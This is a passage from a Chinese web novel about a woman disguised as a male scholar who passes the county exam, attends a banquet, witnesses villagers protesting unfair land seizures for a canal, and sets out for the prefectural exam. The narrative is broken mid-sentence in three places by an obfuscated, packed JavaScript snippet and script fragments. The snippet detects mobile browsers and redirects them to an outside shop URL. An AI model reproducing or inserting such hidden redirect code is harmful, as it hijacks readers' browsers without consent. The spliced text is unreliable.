她说得很谨慎,每个字都斟酌过。 李庸盯着她:“这些话,谁教你的?” “无人教。”谢青梧垂眸,“学生家中……有女性长辈曾操持桑织,学生亲眼见过辛劳。读书时便想,既是为国献策,便该如实言之。” 半真半假。林姨娘确实会织布,也确实辛苦。 李庸沉默片刻。 “你可知,这样的话写出来,若被有心人看见,会说你‘牝鸡司晨’?” “学生只知,鸡鸣报晓,不分牝牡。”谢青梧抬眼,目光平静,“若只因是母鸡,连叫的资格都没有,那这世道,未免太不讲理。” 话说出口,她自己都惊了一下。 太直了。 可收不回来了。 李庸看着她,看了很久。久到谢青梧手心又开始冒汗。 然后,他忽然笑了。 不是冷笑,是真的笑了,眼角皱起细纹。 “好一个‘太不讲理’。”他摇摇头,“年轻人,有锐气是好事。但你要记住,这话在我这儿说说便罢,到了府试、院试,乃至会试殿试,可要收敛些。” “学生明白。” “明白就好。”李庸站起身,“三日后县学有宴,你作为案首,必须到场。穿戴整齐些,别丢了本县的脸。” “是。” “去吧。” 谢青梧起身行礼,退出后堂。 走出县衙时,她才发现后背又湿了一层。 外面阳光正好,周子砚还在等她。 “怎么样?大人没为难你吧?”他迎上来。 “没有,只是勉励几句。”谢青梧说,“走吧。” 两人并肩往外走。街上人来人往,热闹得很。路过一个糖画摊子时,周子砚突然停住。 “谢兄,等我一下。” 他跑过去,跟摊主说了几句,掏钱。很快举着两个糖画回来,一个蝴蝶,一个鲤鱼。 “给你。”他把鲤鱼那个递给谢青梧。 谢青梧愣住。 “庆祝咱们都中了。”周子砚笑得有点不好意思,“我娘说过,鲤鱼跃龙门,好兆头。” 谢青梧接过糖画。金黄透明,在阳光下亮晶晶的。 她小心咬了一口。 甜。很甜。 “谢谢。”她说。 周子砚摆摆手:“该我谢你。要不是你救我,我可能连考场都出不来,更别说中榜了。” 两人边走边聊。周子砚说起他家在青山县,爹早逝,娘给人洗衣供他读书。这次中了,娘不知道得多高兴。 谢青梧静静听着。 走到岔路口,周子砚停下:“我住城东客栈,谢兄呢?” “我……”谢青梧顿了顿,“回家。” “那三日后县学宴见?” “好。” 周子砚拱拱手,转身走了。走了几步又回头:“谢兄!” “嗯?” “你那篇文章,写得真好。”周子砚认真道,“我回去又想了很久,农桑之事,确实如你所说,女子之功不可没。” 他说完,不好意思地笑笑,快步走了。 谢青梧站在原地,看着他的背影消失在人群里。 手里的糖画开始化了,黏糊糊的。 她慢慢走回家。 还没到门口,就看见春杏在巷口张望。看见她,春杏跑过来,眼睛亮晶晶的。 “公子!怎么样?” 谢青梧把糖画递给她:“中了。案首。” 春杏张大嘴,好半天才“啊”了一声,接过糖画,手都在抖。 “案首……第一……” “嗯。” 两人回到小院,关上门。春杏突然蹲在地上,哭了。 不是大哭,就是默默流眼泪,肩膀一抽一抽的。 谢青梧站在那儿,看着她哭。 等春杏哭够了,抬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946670|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,眼睛鼻子都红红的。 “公子,”她声音哑着,“姨娘要是知道……” “她知道。”谢青梧轻声说,“她一定知道。” 春杏用力点头,站起来擦干脸:“我去给姨娘上炷香。” 她跑去小佛堂——其实就是厢房一角,供着林姨娘的牌位。谢青梧没跟去,她在院子里站了会儿,抬头看天。 天很蓝,云很淡。 案首。 第一步,成了。 下午,王氏那边来了人。不是周嬷嬷,是个面生的小丫鬟,送来一套新衣裳,还有一支银簪。 “夫人说,三日后县学宴,请公子穿戴得体。”小丫鬟低着头,“还说……老爷晚上想见见公子。” 谢青梧接过东西:“知道了。” 小丫鬟退下了。 春杏看着那套衣裳,料子是细棉,比之前那套好多了。银簪也是男子样式,简洁大方。 “老爷要见您……”春杏担忧。 “迟早的事。”谢青梧很平静。 她那个爹,谢家家主谢远山,一年到头见不了几面的爹。如今她中了案首,总算有点用了。 晚上,谢青梧换了新衣裳,去前院书房。 谢远山正在看书,见她进来,放下书卷。 “父亲。”谢青梧行礼。 谢远山打量她。 这个庶子,他几乎没怎么注意过,印象里就是个安静胆小的。如今再看,眉眼清俊,举止得体,倒真有几分读书人的样子。 “坐。” 谢青梧坐下。 “你母亲都跟我说了。”谢远山开口,“这次做得不错。” 谢青梧垂眸:“是母亲安排妥当。” “你自己也争气。”谢远山顿了顿,“府试在两个月后,这段时间好好准备。需要什么书,跟账房说,让他们去买。” “是。” “还有,”谢远山看着她,“县学宴上,少说话,多听。县令大人赏识你是好事,但别得意忘形。” “儿子明白。” 谢远山又交代了几句,无非是些场面话。谢青梧一一应着,心里清楚,这个爹对她没什么感情,只是看中了她现在的价值。 说完话,谢远山摆摆手:“去吧。” 谢青梧起身行礼,退出书房。 走到院子里,她回头看了眼书房窗户透出的光。 冰冷,遥远。 就像这个家。 她转身,走回自己那个偏僻小院。 春杏已经备好热水,等她回来洗漱。卸下发簪,脱了外衣,解开束胸,谢青梧泡进热水里,长长舒了口气。 “公子,”春杏一边帮她擦背,一边小声问,“老爷说什么了?” “让我好好准备府试。” “没别的?” “没了。” 春杏沉默片刻,低声道:“姨娘说过,老爷心里只有前程,没有家人。” 谢青梧没说话。 她闭着眼,感受热水包裹身体。 前程。 她也要前程。但不是谢远山要的那种光宗耀祖的前程。 她要的,更大,更远。 远到谢远山想都不敢想。 洗完澡,换上家常衣服,谢青梧走到书桌前,桌上摊着府试要读的书。她翻开一页,却看不进去。 眼前晃过李庸那张脸,他说“牝鸡司晨”时的表情。 晃过周子砚递糖画时腼腆的笑。 晃过谢远山那双没什么温度的眼睛。 最后定格在榜单上。 谢怀瑾。案首。 她伸手,摸了摸自己的喉咙。 那里平坦,没有喉结。 但只要她低着头,少抬头,穿高领衣服,就能瞒过去,至少现在能,以后呢? 府试,院试,乡试,会试,殿试…… 一路考上去,接触的人会越来越多,审视的目光会越来越严。 她得更小心,更谨慎,不能露出一丝破绽,窗外有虫鸣,细细碎碎的。 谢青梧提起笔,蘸墨,在纸上写下一行字。 “路漫漫其修远兮。” 她停笔,看着这行字。 然后继续写。 “吾将上下而求索。” 求什么? 求一条生路。 求一个公道。 求一个女子也能堂堂正正活着的世道。 她放下笔,吹灭灯。 黑暗里,她睁着眼,很久才睡着。 5. 县学宴 县学宴设在城南的鹤鸣书院。 谢青梧到的时候,院子里已经聚了不少人。大多是这次县试考中的学子,也有几个县学的老秀才作陪。大家都穿着新衣裳,脸上带着笑,三三两两说着话。 李庸还没来,主位上空着。 谢青梧找了个角落的位置坐下。春杏今早特意把她那件淡青色长衫熨得平平整整,头发也重新束过,用的是新买的发带。看起来干净清爽,就是太瘦了些。 “谢兄!” 周子砚从人群里挤过来,脸上红扑扑的,眼睛发亮。他也换了身衣裳,虽然是粗布,但洗得很干净。 “你来得真早。”谢青梧朝他点点头。 “我娘昨晚就催我睡了,天没亮就把我叫起来。”周子砚在她旁边坐下,搓着手,“我还是第一次来这种场合,心里慌得很。” 谢青梧没说话。她也在观察。 院子里摆着十来张桌子,按名次排列。她的位置在第一排正中间,案首的待遇。左右两边坐的分别是第二和第三名,都是县里有名的书香门第子弟。 那两人正在说话,声音不大,但足够让她听见。 “听说了吗?今儿顾家那位也要来。” “顾临渊?他不是在京城读书吗?” “回来探亲,正好赶上。李大人特意请来的。” 谢青梧垂下眼,端起茶杯抿了一口。 顾临渊。首辅顾廷玉的嫡长子,十七岁就中了举人,如今在国子监读书。这种人物,怎么会来县学宴? 她正想着,门口一阵骚动。 李庸进来了。他今天穿了身深蓝色常服,脸上带着笑,看起来比在县衙时和气不少。但他身后跟着的那个人,更引人注意。 是个少年,十七八岁的年纪,穿月白色锦袍,腰间系着白玉佩。眉眼生得极好,就是神色冷淡,看人的时候眼皮半垂着,一副漫不经心的样子。 这就是顾临渊。 李庸走到主位坐下,顾临渊在他右手边落座。位置离谢青梧不远,中间只隔了两个座位。 “诸位都坐吧。”李庸开口,声音温和,“今日设宴,一为庆贺,二为勉励。县试只是第一步,往后还有府试、院试、乡试……路还长着呢。” 众人纷纷应和。 谢青梧低着头,专心吃面前那碟花生。她吃得慢,一粒一粒地剥,剥出来的花生仁整整齐齐放在小碟里。 “你就是谢怀瑾?” 声音从右边传来,不高不低。 谢青梧抬头,对上顾临渊的视线。他不知什么时候看过来的,眼神淡淡的,看不出情绪。 “是。”她放下手里的花生。 “县试案首。”顾临渊语气平平,“文章我看了,写得还行。” 这话说得别扭。夸人不像夸人,倒像是长辈评价晚辈功课。 谢青梧笑了笑:“顾公子过奖。” “不过奖。”顾临渊转开视线,端起茶杯,“就是有些地方,想得太多。科举文章,还是中规中矩的好。” 这话里的意思,谢青梧听懂了。 她那篇策论里提了女子桑织的事,看来不只李庸注意到了。 “学生记下了。”她应道,没多解释。 顾临渊也没再说话。 宴席开始。菜一道道上,不算特别丰盛,但挺精致。席间有人作诗,有人论经,气氛渐渐热闹起来。 李庸偶尔点评几句,大多时候都在和顾临渊说话。顾临渊话不多,但每次开口都能说到点子上,引经据典,信手拈来。 确实有才。也确实傲。 谢青梧安静听着,该吃吃,该喝喝。有人来敬酒,她就以茶代酒回敬。有人问文章,她就谦虚几句,不多说。 直到席间有人提起一个话题。 “听说朝廷要修运河,从江南直通京城。”说话的是这次县试第三名,姓赵,家里是经商的,“这可是大事,要是真成了,往后南北货运就方便多了。” 李庸点头:“确有此事。工部已经派人勘测,只是……” 他顿了顿,没往下说。 顾临渊接了口:“只是沿途田地征用,百姓安置,都是麻烦。更别说工程耗资巨大,国库未必支应得起。” “顾公子说得是。”赵学子附和,“不过要是真修成了,可是功在千秋啊。” “功在千秋?”顾临渊轻笑一声,声音里带着点嘲讽,“只怕是劳民伤财,最后成了某些人捞钱的由头。” 这话说得直白,席间一时安静。 李庸咳嗽两声:“临渊,慎言。” 顾临渊放下筷子:“学生失言了。不过修运河这种事,纸上谈兵容易,真要实施,千头万绪。不说别的,光是征用民田,就够喝一壶的。” 他说话时,眼睛看着桌上的菜,没看任何人。但谢青梧能感觉到,这话是说给所有人听的。 或者说,是说给她听的。 她那篇策论里,除了女子桑织,还隐晦地提了句“疏通河道,利通南北”。虽然只是一笔带过,但顾临渊显然注意到了。 他在敲打她。 谢青梧垂下眼,夹了块鱼肉。鱼肉嫩滑,入口即化,但她吃得没什么滋味。 宴席过半,李庸起身更衣。他走后,席间气氛松快了些。有人开始行酒令,有人凑在一起说笑。 周子砚小声问谢青梧:“谢兄,你怎么不说话?” “听大家说就好。”谢青梧笑笑。 “那个顾公子……”周子砚压低声音,“好像挺厉害的样子。” “首辅家的公子,自然厉害。” “不过我觉得,还是谢兄你更厉害。”周子砚认真道,“你可是案首。” 谢青梧摇摇头,没接话。 她看向顾临渊那边。他正独自坐着,手指在桌上轻轻敲着,不知道在想什么。月白色的锦袍衬得他肤色更白,眉眼更冷,和这热闹的宴席格格不入。 就在这时,外头突然传来喧哗声。 “怎么回事?”有人问。 一个小厮慌慌张张跑进来:“大人!外头、外头来了群人,说要见李大人!” 李庸不在,席间众人面面相觑。 顾临渊皱了皱眉,起身往外走。几个学子跟着出去,谢青梧想了想,也跟了过去。 书院门口挤了十几个人,都是普通百姓打扮,有男有女,脸上带着怒色。为首的是个五十来岁的老汉,手里举着张纸,纸上密密麻麻写着字。 “我们要见李大人!”老汉喊,“凭什么占我们的地!” 顾临渊走到门口,扫了那些人一眼:“李大人不在。有什么事,跟我说。” “跟你说?”老汉打量他,“你谁啊?” “顾临渊。” 老汉愣了下,显然听过这个名字。但他很快又梗起脖子:“顾公子又怎样?我们今天非要见李大人不可!” “什么事?”顾临渊问。 “修运河!”老汉把那张纸抖开,“官府要征我们村的地,说是修运河用。可给的补偿银子,连市价一半都不到!这不是明抢吗!” 他身后的人纷纷附和。 “就是!我家三亩水田,就给二十两!” “我家的祖坟都在那儿,说迁就迁,连个商量都没有!” “还有我家的房子……” 七嘴八舌,乱成一团。 顾临渊眉头皱得更紧:“补偿标准是工部定的,地方官府只是执行。” “执行也不能这么执行啊!”老汉激动道,“我们一家老小就指着那些地吃饭,地没了,银子又不够,往后怎么活?” 顾临渊沉默了。 他显然没想到会遇上这种事。书本上的治国方略,朝堂上的高谈阔论,落到实地,原来是这样的。 谢青梧站在人群后面,看着那些百姓的脸。焦急,愤怒,无助。她想起林姨娘病重时,谢家不肯请好大夫,也是这样的表情。 “这位老伯。”她忽然开口。 众人都看向她。 谢青梧走上前,声音平缓:“您刚才说,官府给的补偿不够市价一半,可有凭证?” 老汉愣了愣:“有、有啊!我们打听过了,邻村上个月卖地,一亩水田能卖十五两。官府只给我们八两!” “那您可有将此事上报?”谢青梧问,“县衙不管,可以往府衙递状子。” “递了!”老汉眼眶红了,“递了三回,石沉大海!后来才听说,管这事的是县丞的小舅子,他低价收了地,转头就能高价卖给工部的人,中间不知道赚多少!” 这话说出来,在场学子的脸色都变了。 顾临渊盯着那老汉:“你说的可是真的?” “若有半句假话,天打雷劈!”老汉咬牙,“我们也是没办法了,才来找李大人。听说李大人是个好官,求他给条活路。” 谢青梧没再说话。 她看向顾临渊。他站在那里,脸色很难看。月白色的锦袍在日光下有些刺眼,和他此刻的表情不太相称。 “我知道了。”良久,顾临渊开口,“你们先回去。这件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946671|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事,我会查。” “顾公子……” “我说了,我会查。”顾临渊打断老汉的话,“三天。三天后,给你们答复。” 老汉将信将疑,但看他神色认真,最终还是点了点头,带着人走了。 门口恢复安静。 顾临渊转身往回走,经过谢青梧身边时,脚步顿了顿。 “你倒是会问。”他扔下这句话,语气听不出褒贬。 谢青梧没应声。 她知道顾临渊现在心情不会好。一个从小锦衣玉食、读圣贤书长大的世家公子,第一次亲眼看见民间的龌龊,看见他父亲执掌的朝廷底下,是这样一副样子。 宴席是继续不下去了。 李庸回来后听说此事,脸色也不好看。他安抚了众人几句,便匆匆离开,说是要去县衙问个清楚。 学子们陆续散去。 周子砚和谢青梧一起往外走,边走边叹气:“没想到修运河还有这么多事……那些百姓真可怜。” 谢青梧嗯了一声。 “谢兄,你说顾公子真会管吗?”周子砚问。 “会。”谢青梧说。 “为什么?” “因为他姓顾。” 顾家的名声,顾临渊自己的傲气,都不会允许他不管。 走到书院门口,谢青梧看见顾临渊还站在那儿。他没上马车,就站在台阶上,望着刚才那些百姓离开的方向。 夕阳照在他身上,拉出长长的影子。 周子砚想过去打招呼,被谢青梧拉住了。 “走吧。”她说。 两人走出很远,周子砚才小声问:“谢兄,你好像不太喜欢顾公子?” 谢青梧脚步没停。 “谈不上喜欢不喜欢。”她看着前头的路,声音很轻,“只是道不同。” “道不同?” “他看的是江山社稷。”谢青梧说,“我看的,是江山社稷里的人。” 尤其是那些,连说话都没人听的人。 回到谢府时,天已经擦黑。 春杏迎出来,小声说:“公子,老爷让你回来去书房一趟。” 谢青梧换了身衣服,去了前院。 书房里,谢远山正在看账本。见她进来,放下手里的东西。 “今日县学宴,怎么样?” “还行。”谢青梧简单说了说。 谢远山听完,点点头:“顾临渊……首辅家的公子,你和他说话了?” “说了几句。” “该结交。”谢远山说,“这样的人脉,对你往后有好处。” 谢青梧垂眸:“儿子明白。” “不过也别太热络。”谢远山又道,“世家子弟,眼光高。你一个寒门出身,太过殷勤反而让人看轻。” “是。” 谢远山打量她几眼,忽然问:“你那篇文章里,提女子桑织的事,是你自己想出来的?” 来了。 谢青梧心头微紧,面上不动声色:“是。儿子见母亲生前……林姨娘生前辛苦,有感而发。” 谢远山沉默片刻。 “以后少写这些。”他说,“科举文章,写些稳妥的就好。女子之事,不是该你操心的。” “儿子记住了。” 谢远山摆摆手:“去吧。府试在两个月后,好好准备。” 谢青梧退出来。 走出书房,她站在院子里,抬头看了看天。 暮色四合,星星还没出来。 她想起宴席上顾临渊那副冷淡的样子,想起那些百姓焦急的脸,想起谢远山刚才说的话。 道不同。 确实道不同。 但她要走的路,本来就不是他们能理解的。 春杏在院门口等她,手里提着灯笼。暖黄的光映着她担忧的脸。 “公子,没事吧?” “没事。”谢青梧接过灯笼,“回去吧。” 主仆俩一前一后走回小院。灯笼的光在青石板路上晃动,照出一小圈亮。 谢青梧走得很稳。 她知道,从今天起,顾临渊会记住她。 不是因为她县试案首,而是因为她在那个时机,问了该问的话。 这就够了。 至于往后…… 她推开院门,走进那片熟悉的小小天地。 往后的事,往后再说。现在她要做的,是准备府试,一步步往上走。 走到足够高的地方。 高到她说的话,会有人听。 6. 书铺 三天后,周子砚一大早就来敲门。 春杏开门时,他还喘着气,额头上都是汗:“谢兄在吗?” 谢青梧正在院里读书,闻言放下书卷:“子砚兄?进来坐。” “不坐了不坐了。”周子砚摆摆手,压低声音,“我刚从县衙那边过来,你猜怎么着?” “怎么?” “那征地的事,有结果了!”周子砚眼睛发亮,“顾公子真查了!县丞那个小舅子,被革了职,那几个被压价的地,官府答应按市价补钱!” 谢青梧点点头,并不意外。 “还有呢,”周子砚接着说,“听说顾公子还往府衙递了折子,说要查查其他地方有没有类似的事。这下可捅了马蜂窝了,好些人背后骂他多管闲事呢。” “骂他的人多吗?” “多啊!”周子砚啧了一声,“都说他一个京城来的公子哥,懂什么民间疾苦,净给地方官找麻烦。不过老百姓都说他好,那几个村的百姓还打算给他送万民伞呢。” 谢青梧没说话。 她想起那天顾临渊站在台阶上的样子。月白锦袍,神色冷淡,但说出“我会查”三个字时,眼神是认真的。 “谢兄,你怎么看?”周子砚问。 “他能查,是好事。”谢青梧说,“至于别人骂不骂,不重要。” “那倒也是。”周子砚想了想,“不过顾公子这一闹,往后他在地方官那儿,名声怕是不好听了。” “名声好不好,看他想要什么。”谢青梧淡淡道,“若想要清名,就不会管这事了。” 周子砚若有所思。 又说了几句,他便告辞了,说是要回去温书。春杏送他出门,回来时小声说:“公子,这位周公子人倒是实在。” “嗯。”谢青梧重新拿起书,“就是太实在了。” 容易吃亏。 后面这话她没说。春杏似懂非懂地点点头,去厨房准备午饭了。 下午,谢青梧去了趟书铺。 府试在两个月后,她得找些府试常考的文章来看。谢家虽然有书房,但那些书她不能随便动,免得惹人注意。 书铺在城西,不大,但书挺全。掌柜是个五十来岁的老头,戴着一副老花镜,正趴在柜台上打瞌睡。 谢青梧在书架前慢慢找。四书五经的注疏本,历届府试的范文集,还有几本时政策论。她挑了几本实用的,拿到柜台结账。 掌柜眯着眼看了看:“这些书可不便宜。” “多少?” “一共三两二钱。” 谢青梧从袖中掏出钱袋。钱是王氏给的,不多,但够用。她数出银钱递过去,掌柜接过,慢悠悠地包书。 就在这时,门口进来一个人。 月白锦袍,腰佩白玉,不是顾临渊是谁。 他也看见谢青梧了,脚步顿了顿,还是走了过来。 “谢怀瑾?” “顾公子。”谢青梧拱手。 顾临渊扫了眼她手里的书:“准备府试?” “是。” “这些书……”顾临渊拿起一本翻了翻,眉头微皱,“太浅。府试虽不比乡试会试,但也不是背几篇范文就能过的。” 谢青梧垂眸:“学生家境寻常,只能找到这些。” 顾临渊看了她一眼,没说话。他走到书架前,手指在书脊上掠过,很快抽出两本,扔在柜台上。 “加上这两本。” 谢青梧看了眼书封。一本是《策论精要》,一本是《经义辨析》,都是京城有名的书院出的,她之前见过,但买不起。 “顾公子,这……” “借你的。”顾临渊淡淡道,“考完还我。” 他说得随意,好像真是随手一借。但谢青梧知道,这两本书在县城根本买不到,他是特意找出来的。 “多谢顾公子。”她没推辞。 顾临渊嗯了一声,自己也挑了几本书,一起结账。掌柜包书的时候,他忽然问:“那天在书院门口,你问我那老汉可有凭证,是早就想到这一层了?” 谢青梧顿了顿:“学生只是觉得,空口无凭,总要有个依据。” “依据……”顾临渊重复这两个字,神色有些复杂,“你说得对。我回去查了,那些百姓手里真有地契,真有邻村的买卖文书。可县衙的案卷上,写得清清白白,补偿银两一分不少。” 他说这话时,声音很平静,但谢青梧听出了一丝压抑的怒意。 “顾公子打算怎么办?” “已经办了。”顾临渊说,“该革职的革职,该补钱的补钱。至于往上还有没有牵连,我会继续查。” 谢青梧点点头,没再多问。 书包好了。两人一前一后走出书铺。外头阳光很好,街上人来人往,热热闹闹的。 顾临渊没立刻走,站在门口,看着街景出神。 “谢怀瑾。”他忽然开口。 “学生在。” “你觉得,朝廷修运河,是对还是错?” 这个问题问得突然。谢青梧沉默片刻,才说:“利国利民的事,自然是对的。” “那伤及小民呢?” “那就想法子不伤。”谢青梧说,“或者少伤。” 顾临渊转头看她:“说得轻巧。” “是不容易。”谢青梧承认,“但不容易,就不做了吗?” 顾临渊盯着她看了好一会儿,忽然笑了。不是那种温和的笑,而是带着点自嘲的。 “你说得对。”他说,“不容易,也得做。” 他摆摆手,转身走了。月白的身影很快消失在人群里。 谢青梧提着书,慢慢往回走。 她想起刚才顾临渊那个笑。世家公子,金尊玉贵,第一次看见底下那些脏污,心里不舒服是正常的。 但他还会查下去吗? 谢青梧觉得会。不是因为他多心系百姓,而是因为他是顾临渊。顾家的骄傲,他自己的傲气,都不允许他半途而废。 这就够了。 回到谢府,春杏已经摆好午饭。一碟青菜,一碟豆腐,一碗米饭,简单得很。 谢青梧吃完饭,回屋看书。顾临渊借她的那两本,确实比她之前找的好得多。注解详实,例子也新,看得出是花了心思编的。 她看得很认真,直到天色暗下来,春杏进来点灯。 “公子,歇会儿吧,眼睛该累了。” 谢青梧揉揉眉心,放下书。确实有点累,但心里踏实。 有了这些书,府试的把握又多了几分。 第二天,谢青梧照常早起读书。刚读了一个时辰,外头传来敲门声。 春杏去开门,回来时脸色不太好看:“公子,大公子来了。” 谢明远?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946672|193012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 谢青梧放下书,起身走到外间。谢明远已经进来了,背着手,在屋里慢悠悠地转了一圈。 “二弟用功啊。”他说,眼睛扫过桌上的书。 “兄长有事?”谢青梧问。 “没事就不能来看看你?”谢明远在椅子上坐下,翘起腿,“听说你前几日去县学宴,见着顾临渊了?” 消息传得倒快。 “是。”谢青梧说。 “说了什么?” “没说什么,打了个招呼而已。” 谢明远显然不信:“打招呼?我怎么听说,你还跟他在书院门口说了半天话,什么征地补偿的。” 谢青梧心头一凛。那天在场的人不少,有人把话传到谢明远耳朵里,也不奇怪。 “只是凑巧碰上。”她说。 “凑巧?”谢明远冷笑,“谢怀瑾,我告诉你,顾临渊是什么人,你是什么人,自己心里有点数。人家是首辅公子,将来要入阁拜相的,你一个寒门出身的,攀得上吗?” 这话说得难听。春杏在一旁听着,脸都气红了。 谢青梧神色不变:“兄长多虑了,我没想攀谁。” “没想最好。”谢明远站起来,走到她面前,压低了声音,“母亲让你替考,是给你条活路。你乖乖考完,拿个功名,对谢家有用,对你也有好处。别动那些不该动的心思,懂吗?” 他离得太近,呼吸喷在谢青梧脸上,带着一股酒气。 谢青梧退后半步:“兄长的话,我记住了。” “记住就好。”谢明远满意了,又打量她几眼,“不过你最近倒是长进了些,看着没那么畏畏缩缩了。好好考,要是真能中个举人,谢家不会亏待你。” 他说完,转身走了。脚步声远去,院子里恢复安静。 春杏气得眼泪打转:“大公子他……他怎么能这么说!” “他说他的。”谢青梧走回书桌前坐下,“我们做我们的。” “可是……” “没什么可是。”谢青梧翻开书,“春杏,你要记住,在这家里,我们说的话不重要,别人怎么说也不重要。重要的是,我们能做什么,能做到哪一步。” 春杏似懂非懂地点点头。 谢青梧不再说话,继续看书。 阳光从窗户照进来,落在书页上,字迹清晰。她看得认真,一字一句,慢慢咀嚼。 外头的世界很吵,谢明远的话很难听,顾临渊的态度很复杂。 但这些都影响不了她。 她要走的路,从一开始就注定孤独。能依靠的,只有手里的书,笔下的字,和心里那点不肯熄灭的火。 窗外的树影慢慢移动,从东边挪到西边。 谢青梧放下书,揉了揉手腕。该练字了。 她铺开纸,研好墨,提起笔。 笔尖落在纸上,写下一个字: “静”。 心要静,气要定。 外面的风雨再大,关起门来,这一方书桌就是她的天地。 她继续写,字迹工整,一笔一划,都透着股沉静的力量。 写完一张纸,她放下笔,看了看。 还不错。 至少比昨天有进步。 她笑了笑,把纸收到一边,重新铺开一张。 府试在即,她没时间想别的。 只能往前。 7. 赴考 出发那天,天刚蒙蒙亮。 谢青梧只带了一个包袱,里面装着两件换洗衣服,几本书,还有春杏连夜烙的饼。春杏眼睛红红的,送到门口就不肯往前了。 “公子,路上小心。”她声音有点哑。 “知道了,回去吧。”谢青梧接过包袱,背在肩上。 周子砚已经在巷口等着了。他也只带了个小包袱,看到谢青梧出来,赶紧迎上来:“谢兄,马车我已经雇好了,就在前面。” 两人走到街口,一辆青布马车停在那里。车夫是个中年汉子,皮肤黝黑,话不多,接过包袱放在车上,就示意他们上车。 车厢不大,刚好能坐下两个人。谢青梧靠窗坐下,掀开帘子往外看。晨雾还没散,街上静悄悄的,只有早起的摊贩在支摊子。 马车动了,车轮碾过青石板,发出辘辘的声响。 周子砚有些兴奋,又有些紧张:“谢兄,你说府试会不会很难?” “难不难,考了才知道。”谢青梧说。 “我倒是不怕考题难。”周子砚搓搓手,“就怕出什么意外。我娘说,她昨晚梦见我半路把墨打翻了,急得她今早起来还念叨。” 谢青梧笑了笑:“梦都是反的。” “但愿吧。”周子砚叹了口气,“对了谢兄,你听说没,这次府试的主考官,好像是京里来的。” “京里来的?” “嗯,说是礼部的一个郎中,姓崔。”周子砚压低声音,“我舅舅在县衙当文书,听他说的。这位崔大人脾气不太好,最讨厌考生在文章里标新立异。” 谢青梧没接话。 标新立异……她想起县试时写的那句“妇功桑织亦为国用”,在有些人眼里,大概就算标新立异了。 马车出了城,路就不太好走了。颠颠簸簸的,晃得人头晕。周子砚渐渐不说话了,靠着车厢壁打盹。 谢青梧睡不着。她看着窗外,田野,村庄,偶尔经过的农人。一切都陌生又熟悉。 她想起很多年前,林姨娘还在的时候,有一次带她去城外上香。也是坐马车,也是这样的路。姨娘说,梧儿,你看看外头,这世道很大,不只咱们那个小院子。 那时候她还不懂。现在懂了,却已经没了说这话的人。 马车走了大半天,晌午时分,停在一个小镇外头。车夫说马累了,要歇歇脚,喂点草料。 周子砚醒了,揉着眼睛:“到哪儿了?” “清水镇。”车夫说,“前面有茶棚,两位公子可以下去歇歇。” 两人下了车。茶棚就在路边,搭得简陋,但还算干净。老板娘是个四十来岁的妇人,见他们进来,笑着招呼:“两位公子坐,喝茶还是吃饭?” “两碗茶,再随便来点吃的。”周子砚说。 茶很快端上来,粗瓷碗,茶汤浑浊,但还算热乎。老板娘又端来两碟饼,一碟咸菜。 周子砚咬了口饼,皱眉:“这饼有点硬。” “将就吃吧。”谢青梧说,她也拿起一块饼,慢慢嚼着。 正吃着,外头又进来几个人。都是汉子,穿着短打,走路带风。为首的是个刀疤脸,眼睛在茶棚里扫了一圈,落在谢青梧他们这桌。 “哟,读书人。”刀疤脸走过来,拉过凳子坐下,“这是去哪儿啊?” 周子砚有些紧张,看向谢青梧。 谢青梧放下饼,抬眼:“去府城。” “府城?赶考的吧。”刀疤脸咧嘴笑,露出一口黄牙,“这一路可不太平,两位公子可得小心点。” “多谢提醒。”谢青梧说。 “不过嘛……”刀疤脸话锋一转,“小心不如有个保障。我们兄弟几个,专门护送赶考的学子,只要十两银子,保你们平安到府城。” 周子砚脸色变了:“十两?这也太贵了。” “贵?”刀疤脸身后的汉子哼了一声,“小命要紧还是钱要紧?” 茶棚里的气氛一下子僵了。老板娘站在柜台后头,不敢出声。 谢青梧看着刀疤脸,忽然笑了。 “这位大哥说得对,小命要紧。”她伸手从包袱里摸钱袋,“十两是吧,我给。” 周子砚急了:“谢兄!” “不过,”谢青梧把钱袋放在桌上,却不打开,“我得先看看几位大哥的本事。不然银子给了,你们半路跑了怎么办?” 刀疤脸一愣,随即哈哈大笑:“小子,你当我们是什么人?” “不管是什么人,总得让我放心。”谢青梧语气平静,“这样吧,我看大哥腰间这把刀不错,能不能让我看看?” 刀疤脸笑容收了几分,盯着谢青梧看了几秒,慢慢抽出刀:“看吧。” 那是一把普通的刀,刀身有些锈迹,刀刃也钝了。谢青梧接过,掂了掂,又用手指轻轻弹了下刀身。 “刀是好刀,可惜保养得不好。”她说,“刀刃钝了,刀身有锈,真遇上事,怕是使不上力。” 刀疤脸脸色沉下来:“你什么意思?” 